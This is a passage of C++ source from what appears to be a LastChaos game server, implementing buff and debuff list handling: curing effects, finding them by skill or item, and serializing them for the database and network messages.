\uc0c1\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 674:\t\t// \ub178\ub825\uc758 \uacb0\uc815\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tm_help.DelAssist(pAssist, bSend, m_ch, bNoCancelType);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tm_help.DelAssist(pAssist, bSend, m_ch, bNoCancelType);\n\t\t}\n\t}\n\tif(bCurse)\n\t{\n\t\tpAssistNext = m_curse.m_head;\n\t\twhile ((pAssist = pAssistNext))\n\t\t{\n\t\t\tpAssistNext = pAssistNext->m_next;\n\t\t\tif (bByStone)\n\t\t\t{\n\t\t\t\tswitch (pAssist->m_index)\n\t\t\t\t{\n\t\t\t\tcase 671:\t\t// \ud558\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 672:\t\t// \uc911\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 673:\t\t// \uc0c1\uae09 \uacbd\ud5d8\uc758 \uacb0\uc815\n\t\t\t\tcase 674:\t\t// \ub178\ub825\uc758 \uacb0\uc815\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tm_curse.DelAssist(pAssist, bSend, m_ch, bNoCancelType);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tm_curse.DelAssist(pAssist, bSend, m_ch, bNoCancelType);\n\t\t}\n\t}\n\n\tm_ch->CalcStatus(bSend);\n\n\tif (bSend)\n\t{\n\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\tCharStatusMsg(rmsg, m_ch, 0);\n\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t}\n}\n\nvoid  CAssist::GetListString(bool bHelp, char* item, char* index, char* level, char* remain,\n\t\t\t\t\t\t\t char* remainCount,\n\t\t\t\t\t\t\t char* hit0, char* hit1, char* hit2)\n{\n\t*item = *index = *level = *remain =\n\t\t\t\t\t\t\t\t  *remainCount =\n\t\t\t\t\t\t\t\t\t  *hit0 = *hit1 = *hit2 = '\\0';\n\n\tCAssistData* p;\n\n\tif (bHelp)\n\t\tp = m_help.m_head;\n\telse\n\t\tp = m_curse.m_head;\n\n\twhile (p)\n\t{\n\t\tbool bSkip = false;\n\n\t\t// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \uc2a4\ud0ac\uc740 t_assist\uc5d0 \uc800\uc7a5 \uc548\ud568\n\t\tif (p->m_proto->m_flag & SF_ABSTIME)\n\t\t\tbSkip = true;\n\t\t// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \uc2a4\ud0ac\uc740 t_assist\uc5d0 \uc800\uc7a5 \uc548\ud568\n\n\t\tif(p->m_proto->m_flag & SF_COMBO)\n\t\t\tbSkip = true;\n\n#ifdef EVENT_PCBANG_2ND\n\t\tif(p->m_proto->m_index == 493 )\n\t\t{\n\t\t\t// PC\ubc29 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\t\t\tbSkip = true;\n\t\t}\n#endif // EVENT_PCBAG_2ND\n\n\t\tif( p->m_proto->m_index == 516 )\n\t\t{\n\t\t\t// \ud53c\ub2c9\uc2a4 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\t\t\tbSkip = true;\n\t\t}\n\n\t\t// \ub2e4\ud06c\ub2c8\uc2a4 \ubaa8\ub4dc \uc2a4\ud0ac(682)\uc740 \uc800\uc7a5 \uc548\ud568\n\t\tif( p->m_proto->m_index == 682 )\n\t\t{\n\t\t\tbSkip = true;\n\t\t}\n\n\t\tif (!bSkip)\n\t\t{\n\t\t\tIntCat(item, p->m_index, true);\n\t\t\tIntCat(index, p->m_proto->m_index, true);\n\t\t\tIntCat(level, p->m_level, true);\n\t\t\tIntCat(remain, p->m_remain, true);\n\t\t\tIntCat(remainCount, p->m_remainCount, true);\n\t\t\tIntCat(hit0, (p->m_bHit[0]) ? 1 : 0, true);\n\t\t\tIntCat(hit1, (p->m_bHit[1]) ? 1 : 0, true);\n\t\t\tIntCat(hit2, (p->m_bHit[2]) ? 1 : 0, true);\n\t\t}\n\n\t\tp = p->m_next;\n\t}\n}\n\n\nvoid  CAssist::GetListString(bool bHelp, std::string& item, std::string& index, std::string& level, std::string& remain,\n\t\t\t\t\t\t\t std::string& remainCount,\n\t\t\t\t\t\t\t std::string& hit0, std::string& hit1, std::string& hit2)\n{\n\titem = \"\";\n\tindex = \"\";\n\tlevel = \"\";\n\tremain = \"\";\n\tremainCount = \"\";\n\thit0 = \"\";\n\thit1 = \"\";\n\thit2 = \"\";\n\n\tCAssistData* pAssist;\n\n\tif (bHelp)\n\t\tpAssist = m_help.m_head;\n\telse\n\t\tpAssist = m_curse.m_head;\n\n\twhile (pAssist)\n\t{\n\t\tbool bSkip = false;\n\n\t\t// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \uc2a4\ud0ac\uc740 t_assist\uc5d0 \uc800\uc7a5 \uc548\ud568\n\t\tif (pAssist->m_proto->m_flag & SF_ABSTIME)\n\t\t\tbSkip = true;\n\t\t// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \uc2a4\ud0ac\uc740 t_assist\uc5d0 \uc800\uc7a5 \uc548\ud568\n\n\t\tif(pAssist->m_proto->m_flag & SF_COMBO)\n\t\t\tbSkip = true;\n\n#ifdef EVENT_PCBANG_2ND\n\t\tif(pAssist->m_proto->m_index == 493 )\n\t\t{\n\t\t\t// PC\ubc29 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\t\t\tbSkip = true;\n\t\t}\n#endif // EVENT_PCBAG_2ND\n\n\t\tif( pAssist->m_proto->m_index == 516 )\n\t\t{\n\t\t\t// \ud53c\ub2c9\uc2a4 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\t\t\tbSkip = true;\n\t\t}\n\n\t\t// \ub2e4\ud06c\ub2c8\uc2a4 \ubaa8\ub4dc \uc2a4\ud0ac(682)\uc740 \uc800\uc7a5 \uc548\ud568\n\t\tif( pAssist->m_proto->m_index == 682 )\n\t\t{\n\t\t\tbSkip = true;\n\t\t}\n\n\t\tif (!bSkip)\n\t\t{\n\t\t\titem += boost::str(boost::format(\" %d\") % pAssist->m_index);\n\t\t\tindex += boost::str(boost::format(\" %d\") % pAssist->m_proto->m_index);\n\t\t\tlevel += boost::str(boost::format(\" %d\") % pAssist->m_level);\n\t\t\tremain += boost::str(boost::format(\" %d\") % pAssist->m_remain);\n\t\t\tremainCount += boost::str(boost::format(\" %d\") % pAssist->m_remainCount);\n\t\t\thit0 += boost::str(boost::format(\" %d\") % ((pAssist->m_bHit[0]) ? 1 : 0));\n\t\t\thit1 += boost::str(boost::format(\" %d\") % ((pAssist->m_bHit[1]) ? 1 : 0));\n\t\t\thit2 += boost::str(boost::format(\" %d\") % ((pAssist->m_bHit[2]) ? 1 : 0));\n\t\t}\n\n\t\tpAssist = pAssist->m_next;\n\t}\n}\n\nvoid CAssist::AppendAssistToNetMsg(CNetMsg::SP& msg)\n{\n\tCAssistData* p;\n\n\tRefMsg(msg) << m_state\n\t\t\t\t<< (char)GetAssistCount();\n\n\tp = m_help.m_head;\n\twhile (p)\n\t{\n\t\tRefMsg(msg) << p->m_index\n\t\t\t\t\t<< p->m_proto->m_index\n\t\t\t\t\t<< (char)p->m_level\n\t\t\t\t\t<< p->m_remain\n\t\t\t\t\t<< p->m_remainCount;\n\n\t\tp = p->m_next;\n\t}\n\n\tp = m_curse.m_head;\n\twhile (p)\n\t{\n\t\tRefMsg(msg) << p->m_index\n\t\t\t\t\t<< p->m_proto->m_index\n\t\t\t\t\t<< (char)p->m_level\n\t\t\t\t\t<< p->m_remain\n\t\t\t\t\t<< p->m_remainCount;\n\n\t\tp = p->m_next;\n\t}\n}\n\nvoid CAssist::AppendAssistToNetStructMsg(struct tag_assistinfo& info)\n{\n\tinfo.state = m_state;\n\tinfo.count = GetAssistCount();\n\n\tif (info.count == 0)\n\t\treturn;\n\n\tint listcount = 0;\n\tCAssistData* p = m_help.m_head;\n\twhile (p)\n\t{\n\t\tinfo.list[listcount].index = p->m_index;\n\t\tinfo.list[listcount].dbIndex = p->m_proto->m_index;\n\t\tinfo.list[listcount].level = p->m_level;\n\t\tinfo.list[listcount].remain = p->m_remain;\n\t\tinfo.list[listcount].remainCount = p->m_remainCount;\n\t\t++listcount;\n\n\t\tp = p->m_next;\n\t}\n\n\tp = m_curse.m_head;\n\twhile (p)\n\t{\n\t\tinfo.list[listcount].index = p->m_index;\n\t\tinfo.list[listcount].dbIndex = p->m_proto->m_index;\n\t\tinfo.list[listcount].level = p->m_level;\n\t\tinfo.list[listcount].remain = p->m_remain;\n\t\tinfo.list[listcount].remainCount = p->m_remainCount;\n\t\t++listcount;\n\n\t\tp = p->m_next;\n\t}\n}\n\nbool CAssist::Find(int magicindex, int magiclevel)\n{\n\tCAssistData* p;\n\tconst CSkillLevelProto* slp;\n\tint i;\n\n\tp = m_help.m_head;\n\twhile (p)\n\t{\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tif (slp->m_magic[i] && slp->m_magic[i]->m_index == magicindex && slp->m_magicLevel[i] >= magiclevel)\n\t\t\t\t\treturn true;\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tp = p->m_next;\n\t}\n\n\tp = m_curse.m_head;\n\twhile (p)\n\t{\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tif (slp->m_magic[i] && slp->m_magic[i]->m_index == magicindex && slp->m_magicLevel[i] >= magiclevel)\n\t\t\t\t\treturn true;\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tp = p->m_next;\n\t}\n\n\treturn false;\n}\n\nvoid CAssist::CancelSleep()\n{\n\tCureAssist(MST_ASSIST_SLEEP, 99);\n}\nvoid CAssist::CancelMantle()\n{\n\tCureAssist(MST_ASSIST_MANTLE, 99);\n}\n\nvoid CAssist::CureAssist(int flag)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif(p->m_proto->m_flag & flag)\n\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif(p->m_proto->m_flag & flag)\n\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t}\n}\n\nvoid CAssist::CureAssist(int type, int level)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tint i;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == MT_ASSIST && mp->m_subtype == type && slp->m_magicLevel[i] <= level)\n\t\t\t\t{\n\t\t\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == MT_ASSIST && mp->m_subtype == type && slp->m_magicLevel[i] <= level)\n\t\t\t\t{\n\t\t\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t\t\t\t\tbreak ;\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid CAssist::CureOtherAssist(int type, int subtype, int level)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tint i;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == type && mp->m_subtype == subtype && slp->m_magicLevel[i] <= level)\n\t\t\t\t{\n\t\t\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == type && mp->m_subtype == subtype && slp->m_magicLevel[i] <= level)\n\t\t\t\t{\n\t\t\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t\t\t\t\tbreak ;\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid CAssist::CancelInvisible()\n{\n\tCureAssist(MST_ASSIST_INVISIBLE, 99);\n}\n\nvoid CAssist::CheckApplyConditions()\n{\n\tm_help.CheckApplyConditions(m_ch);\n\tm_curse.CheckApplyConditions(m_ch);\n}\n\nvoid CAssistList::CheckApplyConditions(CCharacter* ch)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n//\tbool bFinish = false;\n\n//\twhile (!bFinish)\n//\t{\n//\t\tbFinish = true;\n\tpNext = m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\n\t\tif (!ch->CanApplySkill(p->m_proto, p->m_proto->Level(p->m_level)))\n\t\t{\n\t\t\tDelAssist(p, true, ch, false);\n//\t\t\t\tbFinish = false;\n\t\t}\n\t}\n//\t}\n}\n\nint CAssist::FindByType(int type, int subtype, bool* outHelp, CAssistData** outData)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tint i;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == type && mp->m_subtype == subtype)\n\t\t\t\t{\n\t\t\t\t\tif (outHelp)\n\t\t\t\t\t\t*outHelp = true;\n\t\t\t\t\tif (outData)\n\t\t\t\t\t\t*outData = p;\n\t\t\t\t\treturn slp->m_magicLevel[i];\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == type && mp->m_subtype == subtype)\n\t\t\t\t{\n\t\t\t\t\tif (outHelp)\n\t\t\t\t\t\t*outHelp = false;\n\t\t\t\t\tif (outData)\n\t\t\t\t\t\t*outData = p;\n\t\t\t\t\treturn slp->m_magicLevel[i];\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (outHelp)\n\t\t*outHelp = false;\n\tif (outData)\n\t\t*outData = NULL;\n\treturn 0;\n}\n\nint CAssist::GetSummonNpcIndex()\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tint i;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == MT_ASSIST && mp->m_subtype == MST_ASSIST_PARASITE)\n\t\t\t\t{\n\t\t\t\t\treturn mp->m_levelproto[slp->m_magicLevel[0]-1]->GetSummonNpcIndex();\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tslp = p->m_proto->Level(p->m_level);\n\t\tif (slp)\n\t\t{\n\t\t\ti = 0;\n\t\t\twhile (i < MAX_SKILL_MAGIC)\n\t\t\t{\n\t\t\t\tmp = slp->m_magic[i];\n\t\t\t\tif (mp && mp->m_type == MT_ASSIST && mp->m_subtype == MST_ASSIST_PARASITE)\n\t\t\t\t{\n\t\t\t\t\treturn mp->m_levelproto[slp->m_magicLevel[0]-1]->GetSummonNpcIndex();\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nvoid CAssist::CancelFear()\n{\n\tCureAssist(MST_ASSIST_FEAR, 99);\n}\n\nvoid CAssist::CancelFakeDeath()\n{\n\tCureAssist(MST_ASSIST_FAKEDEATH, 99);\n}\n\nvoid CAssist::CureByItemIndex(int itemindex)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_index != -1 && p->m_index == itemindex)\n\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_index != -1 && p->m_index == itemindex)\n\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t}\n}\n\nvoid CAssist::CureBySkillIndex(int nSkillIndex)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto && p->m_proto->m_index == nSkillIndex)\n\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto && p->m_proto->m_index == nSkillIndex)\n\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t}\n}\n\nbool CAssist::FindByItemIndex(int itemindex, CAssistData** outData)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_index != -1 && p->m_index == itemindex)\n\t\t{\n\t\t\tif (outData)\n\t\t\t\t*outData = p;\n\t\t\treturn true;\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_index != -1 && p->m_index == itemindex)\n\t\t{\n\t\t\tif (outData)\n\t\t\t\t*outData = p;\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n\nint CAssist::FindBySkillIndex(int skillindex)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto->m_index == skillindex)\n\t\t\treturn p->m_level;\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto->m_index == skillindex)\n\t\t\treturn p->m_level;\n\t}\n\n\treturn 0;\n}\n\n// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \ubcf4\uc870\ud6a8\uacfc \ub9ac\uc2a4\ud2b8\nint CAssist::GetABSTimeTypeList(int* nAssistABSItemIndex, int* nAssistABSSkillIndex, int* nAssistABSSkillLevel, char* nAssistABSHit0, char* nAssistABSHit1, char* nAssistABSHit2, int* nAssistABSEndTime)\n{\n\tint ret = 0;\n\n\tCAssistData* p;\n\n\tp = m_help.m_head;\n\twhile (p)\n\t{\n\t\tif (p->m_proto && (p->m_proto->m_flag & SF_ABSTIME))\n\t\t{\n\t\t\tif (nAssistABSItemIndex)\n\t\t\t{\n#ifdef EVENT_PCBANG_2ND\n\t\t\t\tif(p->m_proto->m_index != 493)\n\t\t\t\t{\n\t\t\t\t\t// PC\ubc29 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n#endif // EVENT_PCBANG_2ND\n\n\t\t\t\t\tif( p->m_proto->m_index != 516 )\n\t\t\t\t\t{\n\t\t\t\t\t\t// \ud53c\ub2c9\uc2a4 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\n\t\t\t\t\t\tnAssistABSItemIndex[ret] = p->m_index;\n\t\t\t\t\t\tnAssistABSSkillIndex[ret] = p->m_proto->m_index;\n\t\t\t\t\t\tnAssistABSSkillLevel[ret] = p->m_level;\n\t\t\t\t\t\tnAssistABSHit0[ret] = p->m_bHit[0];\n\t\t\t\t\t\tnAssistABSHit1[ret] = p->m_bHit[1];\n\t\t\t\t\t\tnAssistABSHit2[ret] = p->m_bHit[2];\n\t\t\t\t\t\tnAssistABSEndTime[ret] = gserver->getNowSecond() + (p->m_remain / PULSE_ASSIST_CHECK);\n\n\t\t\t\t\t}\n\n#ifdef EVENT_PCBANG_2ND\n\t\t\t\t}\n#endif // EVENT_PCBAG_2ND\n\t\t\t}\n\t\t\tret++;\n\t\t}\n\t\tp = p->m_next;\n\t}\n\n\tp = m_curse.m_head;\n\twhile (p)\n\t{\n\t\tif (p->m_proto && (p->m_proto->m_flag & SF_ABSTIME))\n\t\t{\n\t\t\tif (nAssistABSItemIndex)\n\t\t\t{\n#ifdef EVENT_PCBAG_2ND\n\t\t\t\tif(p->m_proto->m_index != 493)\n\t\t\t\t{\n\t\t\t\t\t// PC\ubc29 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n#endif // EVENT_PCBAG_2ND\n\n\t\t\t\t\t//\t\t\tif( p->m_proto->m_index != 516 )\n\t\t\t\t\t//\t\t\t{\t// \ud53c\ub2c9\uc2a4 \ubc84\ud504 \uc800\uc7a5 \uc548\ud568\n\n\t\t\t\t\tnAssistABSItemIndex[ret] = p->m_index;\n\t\t\t\t\tnAssistABSSkillIndex[ret] = p->m_proto->m_index;\n\t\t\t\t\tnAssistABSSkillLevel[ret] = p->m_level;\n\t\t\t\t\tnAssistABSHit0[ret] = p->m_bHit[0];\n\t\t\t\t\tnAssistABSHit1[ret] = p->m_bHit[1];\n\t\t\t\t\tnAssistABSHit2[ret] = p->m_bHit[2];\n\t\t\t\t\tnAssistABSEndTime[ret] = gserver->getNowSecond() + (p->m_remain / PULSE_ASSIST_CHECK);\n\n#ifdef EVENT_PCBAG_2ND\n\t\t\t\t}\n#endif // EVENT_PCBAG_2ND\n\t\t\t}\n\t\t\tret++;\n\t\t}\n\t\tp = p->m_next;\n\t}\n\n\treturn ret;\n}\n// 060227 : bs : \uc808\ub300\uc2dc\uac04 \uc0ac\uc6a9 \ubcf4\uc870\ud6a8\uacfc \ub9ac\uc2a4\ud2b8\n\nvoid CAssist::CancelDespair()\n{\n\tCureAssist(MST_ASSIST_DESPAIR, 99);\n}\n\nvoid CAssist::CancelManaScreen()\n{\n\tCureAssist(MST_ASSIST_MANASCREEN, 99);\n}\n\nvoid CAssist::CancelBless()\n{\n\tCureAssist(MST_ASSIST_BLESS, 99);\n}\n\nvoid CAssist::DecreaseCount(int type, int subtype)\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\tconst CSkillProto* sp;\n\tconst CSkillLevelProto* slp;\n\tconst CMagicProto* mp;\n\tint i;\n\n\tpNext = m_help.m_head;\n\twhile((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\n\t\tsp = p->m_proto;\n\t\tif (sp == NULL)\n\t\t\tcontinue;\n\n\t\tslp = sp->Level(p->m_level);\n\t\tif (slp == NULL)\n\t\t\tcontinue;\n\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t\t{\n\t\t\tif (!p->m_bHit[i])\n\t\t\t\tcontinue;\n\n\t\t\tmp = slp->m_magic[i];\n\t\t\tif (mp == NULL)\n\t\t\t\tcontinue;\n\n\t\t\tif (mp->m_type == type && mp->m_subtype == subtype)\n\t\t\t{\n\t\t\t\tp->m_remainCount --;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (i >= MAX_SKILL_MAGIC)\n\t\t\tcontinue;\n\n\t\tif (p->m_remainCount <= 0)\n\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tAssistModifyMsg(rmsg, m_ch, p->m_index, sp->m_index,\n\t\t\t\t\t\t\tp->m_level, p->m_remain, p->m_remainCount);\n\t\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t\t}\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\n\t\tsp = p->m_proto;\n\t\tif (sp == NULL)\n\t\t\tcontinue;\n\n\t\tslp = sp->Level(p->m_level);\n\t\tif (slp == NULL)\n\t\t\tcontinue;\n\n\t\tfor (i = 0; i < MAX_SKILL_MAGIC; i++)\n\t\t{\n\t\t\tif (!p->m_bHit[i])\n\t\t\t\tcontinue;\n\n\t\t\tmp = slp->m_magic[i];\n\t\t\tif (mp == NULL)\n\t\t\t\tcontinue;\n\n\t\t\tif (mp->m_type == type && mp->m_subtype == subtype)\n\t\t\t{\n\t\t\t\tp->m_remainCount --;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (i >= MAX_SKILL_MAGIC)\n\t\t\tcontinue;\n\n\t\tif (p->m_remainCount <= 0)\n\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\n\t\t{\n\t\t\tCNetMsg::SP rmsg(new CNetMsg);\n\t\t\tAssistModifyMsg(rmsg, m_ch, p->m_index, sp->m_index,\n\t\t\t\t\t\t\tp->m_level, p->m_remain, p->m_remainCount);\n\t\t\tm_ch->m_pArea->SendToCell(rmsg, m_ch, true);\n\t\t}\n\t}\n}\n\nvoid CAssist::CureByPetSkill()\n{\n\tCAssistData* p;\n\tCAssistData* pNext;\n\n\tpNext = m_help.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto && (p->m_proto->getJob() == JOB_PET || p->m_proto->getJob() == JOB_APET))\n\t\t\tm_help.DelAssist(p, true, m_ch, true);\n\t}\n\n\tpNext = m_curse.m_head;\n\twhile ((p = pNext))\n\t{\n\t\tpNext = pNext->m_next;\n\t\tif (p->m_proto && (p->m_proto->getJob() == JOB_PET || p->m_proto->getJob() == JOB_APET))\n\t\t\tm_curse.DelAssist(p, true, m_ch, true);\n\t}\n}\n\nunsigned char CAssist::getAttrAtt()\n{\n\tif(this->m_avAddition.attratt_item > 0)\n\t{\n\t\treturn m_avAddition.attratt_item;\n\t}\n\telse if(GET_AT_ATT(this->m_avAddition.attratt) > 0)\n\t{\n\t\treturn m_avAddition.attratt;\n\t}\n\telse\n\t{\n\t\treturn AT_NONE;\n\t}\n}\n\nunsigned char CAssist::getAttrDef()\n{\n\tif(this->m_avAddition.attrdef_item > 0)\n\t{\n\t\treturn m_avAddition.attrdef_item;\n\t}\n\telse if(this->m_avAddition.attrdef > 0)\n\t{\n\t\treturn m_avAddition.attrdef;\n\t}\n\telse\n\t{\n\t\treturn AT_NONE;\n\t}\n}\n", "meta": {"hexsha": "c18fb02bfdec8b27dd7ff445020cc0be0aa3248f", "size": 86587, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "GameServer/Assist.cpp", "max_stars_repo_name": "openlastchaos/lastchaos-source-server", "max_stars_repo_head_hexsha": "935b770fa857e67b705717d154b11b717741edeb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "GameServer/Assist.cpp", "max_issues_repo_name": "openlastchaos/lastchaos-source-server", "max_issues_repo_head_hexsha": "935b770fa857e67b705717d154b11b717741edeb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "GameServer/Assist.cpp", "max_forks_repo_name": "openlastchaos/lastchaos-source-server", 